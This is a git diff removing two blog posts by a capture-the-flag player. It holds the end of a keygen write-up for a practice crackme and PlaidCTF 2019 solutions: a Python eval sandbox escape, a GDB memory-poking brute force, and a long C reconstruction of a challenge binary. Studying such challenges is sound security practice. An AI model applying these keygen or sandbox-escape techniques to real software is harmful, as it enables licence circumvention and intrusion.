"CGSG5" "CF457" "K9EU4" "HELL0" "HELL0" "OH975") -CL-USER> (key-attributes "2Z7A7-YFWU8-CGSG5-CF457-K9EU4-HELL0-HELL0-OH975") -(:VALID T :EXPIRY-YEAR 2019 :EXPIRY-MONTH 12 :EXPIRY-DAY 25 :FEATURE-A NIL - :FEATURE-B NIL :FEATURE-C NIL :FEATURE-D NIL :FEATURE-E NIL) -#+END_SRC - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ ./challenge74 "2Z7A7-YFWU8-CGSG5-CF457-K9EU4-HELL0-HELL0-OH975" -Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 - -Expiration date: 2019-12-25 -Feature A: OFF -Feature B: OFF -Feature C: OFF -Feature D: OFF -Feature E: OFF -SN valid -#+END_SRC - -There we go. A working keygen! (Provided you're willing to wait). - -* An End-of-Year Reflection - -This was fun, but I think in planning this out, I should have preferred depth -over breadth, like getting through some of the challenges on [[http://reversing.kr/index.php][reversing.kr]]. The -challenges I got the most out of were the ones I had to spend more than a day -reversing. Another thing that made regret the choice of Dennis Yurichev's -challenges is the significance of context in reverse engineering. Most of these -challenges give little more than a disassembly. There are exceptions -- -challenge #33, for example, was one I was able to solve because the description -said that it was a cryptographic function. But for the most part, I think being -able to see the "big picture" would have been a more realistic way to practice -my reverse engineering chops. - -One idea I've been toying with is putting out a crackme on a monthly basis. -Infrequent enough that it wouldn't be overwhelming, and I'd be able to make it a -sizeable challenge. I'd be able to give out hints every week, and post the -solution at the end of the month. Actually, I may do this through the [[https://ctf.cs.umass.edu/][wargames]] -site we're putting together at university. Stay tuned! diff --git a/org/Writeups for PlaidCTF 2019/plaidctf-2019.org b/org/Writeups for PlaidCTF 2019/plaidctf-2019.org deleted file mode 100644 index 8491347..0000000 --- a/org/Writeups for PlaidCTF 2019/plaidctf-2019.org +++ /dev/null @@ -1,456 +0,0 @@ -#+TITLE: Writeups for PlaidCTF 2019 -#+DATE: <2019-04-14 Sun> -#+TAGS: writeup, security, reverse-engineering, capture-the-flag, x86, c, python - -My long-lived hiatus from capture-the-flag has come to an end, as I got off my -ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty -lonely, but my old team wasn't playing, and even if they were, I don't know if I -would've wanted to make the commute just to play with them. - -The team name I came up with was 0x7c_Jake since I've been listening to a lot of -[[https://en.wikipedia.org/wiki/Less_Than_Jake][Less than Jake]] recently and =0x7c= is =jl= in x86. With any luck, though, I won't be -playing under that team name again -- I'm going to reach out to the ACM chapter -at my university and ask about starting a team associated with the school.[fn:1] - -But I'd imagine that you don't care much for that. You're here for my challenge -solutions, aren't you? - -* can you guess me (100 pts) - -This was a pretty simple Python sandbox escape challenge. The constraint was -that your input could have a maximum of 10 unique characters. - -#+BEGIN_SRC python :hl_lines 0 -count_digits = len(set(inp)) -if count_digits <= 10: # Make sure it is a number - val = eval(inp) -else: - raise -#+END_SRC - -So if you were thinking of sending off =print(secret_value_for_password)=, you're -out of luck. - -#+BEGIN_SRC python :hl_lines 0 -f = lambda x: (len(set(x)) <= 10, len(set(x))) -f("secret_value_for_password") # >>> (False, 15) -#+END_SRC - -This was the challenge I poked at for warm up, and in about fifteen minutes I -had what I believe is an unintended solution. - -#+BEGIN_SRC prog - ____ __ __ ____ __ __ - / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ -| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ -| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ - \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| - - - -Input value: help(flag) -No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'. -Use help() to get the interactive help utility. -Use help(str) for help on the str class. - -Nope. Better luck next time. -#+END_SRC - -* i can count (50 pts) - -The premise of this challenge is that there's some integer encoded as an ASCII -string. It's continually incremented by one and then checked against a -=check_flag=[fn:2] function. The flag is just whatever integer satisfies =check_flag=. - -You certainly _could_ have reverse engineered =check_flag= and plugged all of its -constraints into z3, but the function is 1394 bytes long. An easier solution is -to realize that the constraints are checked for each digit of the integer, open -the program in a debugger, set some breakpoints at various points in =check_flag=, -and brute-force the value digit-by-digit. - -This would've been a nice opportunity to use r2pipe or GDB's Python APIs, but I -started this challenge close enough to the end of the competition that doing it -by hand in GDB was the best course of action. I broke at =check_flag+0x31= so I -could see what the individual digit being checked was, as well as at -=check_flag+0x532= so I could see if the function was jumping to a =ret= -- which -would indicate that the digit doesn't satisfy the constraints. Every time I came -across a correct digit, I'd add a bogus '/' to the end of the integer string -with =set *((char *)0x56555000+0x3048) = 0x2f=[fn:3] so that =check_flag= started -checking the following digit, rather than incrementing the integer and ruining -everything. Again, the return key on my keyboard would have appreciated it if I -scripted my solution, but it worked and I was able to get the flag of -"PCTF{2052419606511006177}". - -* big_maffs (250 pts) - -I found this challenge to be really difficult, and at the time of writing this, -my solution is still running. I began by reverse engineering the binary to its -equivalent C. - -#+BEGIN_SRC c :hl_lines 0 -#include -#include -#include -#include - -struct string { - uint64_t length; - char *data; -}; - -static char peanut[] = { - 0x05, 0xbb, 0x01, 0x59, 0x6f, 0x06, 0x18, 0x61, 0x3d, 0xa0, - 0x3a, 0xe4, 0x9c, 0xe4, 0xe1, 0xe6, 0x73, 0x93, 0x81, 0xf2, - 0x10, 0x6b -}; - -static char banana[] = { - 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, - 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, -}; - -static struct string *global_4090; - - -// 0x00001189 1 26 eom_error -void eom_error(void) -{ - puts("no more memory? https://downloadmoreram.com/"); - exit(1); -} - -// 0x000011a3 3 51 my_malloc -void *my_malloc(int size) -{ - char *ret; - if ((ret = malloc(size)) == NULL) { - eom_error(); - } - return ret; -} - -// 0x000011d6 3 62 my_realloc -void *my_realloc(char *data, int length) -{ - char *res; - - // STACK SIZE 0x20 - if ((res = realloc(data, length)) == NULL) { - eom_error(); - } - - return res; -} - -// 0x00001214 1 97 make_string -struct string *make_string(char *data, int n) -{ - struct string *ret; - - // STACK SIZE 0x20 - ret = my_malloc(sizeof(struct string)); - ret->data = my_malloc(n); - memcpy(ret->data, data, n); - ret->length = n; - - return ret; -} - -// 0x00001695 7 72 all_null? -int all_null(struct string *s) -{ - int null_count; - - null_count = 0; - while (null_count < s->length) { - if (s->data[null_count] == '\0') { - null_count++; - } else { - return 0; - } - } - - return 1; -} - -// 0x000016dd 8 146 ends_with_digit? -int ends_with_digit(struct string *s) -{ - int i; - - // STACK SIZE 0x18 - if (all_null(s)) { - return 0; - } - - i = s->length - 1; - - while (i >= 0) { - if (s->data[i] == '\0') { - i--; - } else { - // True for c > 64, as well as the following cases: - // - c == 1 - // - 4 <= c <= 7 - // - 16 <= c <= 31 - return (s->data[i] & 0xaa) > (s->data[i] & 0x55); - } - } - - return 0; -} - -// 0x00001275 1 70 resize_string_by_one -void resize_string_by_one(struct string *s) -{ - // STACK SIZE 0x10 - s->length++; - s->data = my_realloc(s->data, s->length); -} - -// 0x000012bb 21 492 strum -void strum(struct string *a, struct string *b) -{ - int onion; - int brisket; - int cheese; - char donut; - char syrup; - char carrot; - char melon; - char butter; - - // STACK SIZE 0x30 - - butter = '\0'; - cheese = 0; - - // 0x13c3 - while (cheese < b->length) { - melon = '\0'; - brisket = 0; - - while (brisket < 8) { - syrup = butter \ - + ((a->data[cheese] >> brisket) & 1) \ - + ((b->data[cheese] >> brisket) & 1); - - if (banana[syrup + 2] != '\0') { - melon |= 1 << brisket; - } - - butter = banana[syrup + 8]; - brisket++; - } - - if (a->length == cheese) { - resize_string_by_one(a); - } - - a->data[cheese] = melon; - cheese++; - } - - while (butter != '\0') { - if (cheese >= a->length) { - resize_string_by_one(a); - } - - carrot = '\0'; - onion = 0; - - while (onion < 8) { - donut = butter + ((a->data[cheese] >> onion) & 1); - - if (banana[donut + 2] != '\0') { - carrot |= 1 << onion; - } - - butter = banana[donut + 8]; - onion++; - } - - a->data[cheese] = carrot; - cheese++; - } -} - -// This function is extremely similar to strum, but with 'subl %eax, %esi; movl -// %esi, %eax' at 0x00001335 instead of 'addl %esi, %eax'. -void bake(struct string *a, struct string *b) -{ - int onion; - int brisket; - int cheese; - char donut; - char syrup; - char carrot; - char melon; - char butter; - - // STACK SIZE 0x30 - - butter = '\0'; - cheese = 0; - - // 0x13c3 - - while (cheese < b->length) { - melon = '\0'; - brisket = 0; - - while (brisket < 8) { - syrup = butter \ - + ((a->data[cheese] >> brisket) & 1) \ - - ((b->data[cheese] >> brisket) & 1); - - if (banana[syrup + 2] != '\0') { - melon |= 1 << brisket; - } - - butter = banana[syrup + 8]; - brisket++; - } - - if (a->length == cheese) { - resize_string_by_one(a); - } - - a->data[cheese] = melon; - cheese++; - } - - while (butter != '\0') { - if (cheese >= a->length) { - resize_string_by_one(a); - } - - carrot = '\0'; - onion = 0; - - while (onion < 8) { - donut = butter + ((a->data[cheese] >> onion) & 1); - - if (banana[donut + 2] != '\0') { - carrot |= 1 << onion; - } - - butter = banana[donut + 8]; - onion++; - } - - a->data[cheese] = carrot; - cheese++; - } -} - -struct string *gaze(struct string *a, struct string *b) -{ - struct string *local_8; - struct string *local_10; - struct string *local_18; - struct string *local_20; - struct string *local_28; - - // STACK SIZE 0x40 - - if (all_null(a)) { - local_28 = make_string("\x00", 1); - strum(local_28, b); - strum(local_28, global_4090); - return local_28; - } - - if (all_null(b)) { - local_20 = make_string("\x00", 1); - strum(local_20, a); - bake(local_20, global_4090); - return gaze(local_20, global_4090); - } - - local_18 = make_string("\x00", 1); - strum(local_18, b); - bake(local_18, global_4090); - - local_10 = gaze(a, local_18); - - local_8 = make_string("\x00", 1); - strum(local_8, a); - bake(local_8, global_4090); - - return gaze(local_8, local_10); -} - -void fcn_176f(struct string *a, struct string *b) -{ - // STACK SIZE 0x10 - while (!ends_with_digit(a)) { - bake(a, b); - } - strum(a, b); -} - -// 0x00001935 4 230 main -int main(int argc, char **argv) -{ - struct string *local_8; - struct string *local_10; - struct string *local_18; - int local_1c; - - // STACK SIZE 0x20 - global_4090 = make_string("\x01", 1); - - puts("Generating your flag, please wait warmly..."); - - local_18 = make_string("\x1e", 1); - local_10 = gaze(local_18, local_18); - - local_8 = make_string((void *) 0x206e, 0x17); - fcn_176f(local_10, local_8); - - local_1c = 0; - - while (local_1c <= 0x15) { - peanut[local_1c] ^= local_10->data[local_1c]; - local_1c++; - } - - printf("Your flag is: %s\n", peanut); - return 0; -} -#+END_SRC - -TL;DR: among other things, there's a function called =gaze=[fn:4] that recursively -generates an XOR decryption key for =peanut=. - -I took this be an "optimize me" challenge. My current solution memoizes the -results of =gaze= into a linked list to reduce the number of recursive -computations made. In retrospect, I probably should've used a binary search tree -or a hash table instead of a linked list, but I was trying to quickly hack -together a solution. Also in retrospect, I probably should spent my time -figuring out what =strum= and =bake= _really_ do and reversing the calculation rather -than trying my hand at optimizing it. Ah, well. - -One neat thing I found out about from working on this challenge was the -=MALLOC_CHECK_= environment variable recognized by glibc. If it's set to =0=, heap -corruption errors are silently ignored. My solution needed it, and I'm unsure of -whether the heap corruption is in my translation of the original binary, or if -it was in my memoization code. Either way, I have a feeling it will make itself -useful again in the near future. - ---- - -Addendum: As it turns out, memoization was a wildly sophomoric attempt at a -solution, and the real solution was, as I mentioned, to figure out the purposes -of =strum= and =bake=. It turns out that =strum= is base (-2) addition, =bake= is base -(-2) subtraction, =gaze= is the Ackermann function, and that the structure is -actually a [[https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic][bignum]], not a string. In this case, that poor assumption led me down -a wrong path. Once you figure that out, you'll need to put your modular -arithmetic chops to work as well. An excellent writeup from sasdf of [[https://balsn.tw/][Balsn]] is -available [[https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/][here]]. - -[fn:1] So if you currently study at UMass Amherst and you'd be interested in joining a CTF team, [[http://jakob.space/about/][shoot me an email!]] -[fn:2] The executable wasn't stripped. -[fn:3] Where =0x56555000= is the address that the binary was loaded to in memory, and =0x3048= is the beginning of the ASCII-encoded integer (plus an offset for whichever digit I was on) -[fn:4] This time the binary _was_ stripped. I didn't bother updating the temporary names I used. Yes, I use foods for variables and random verbs for functions. -- cgit v1.3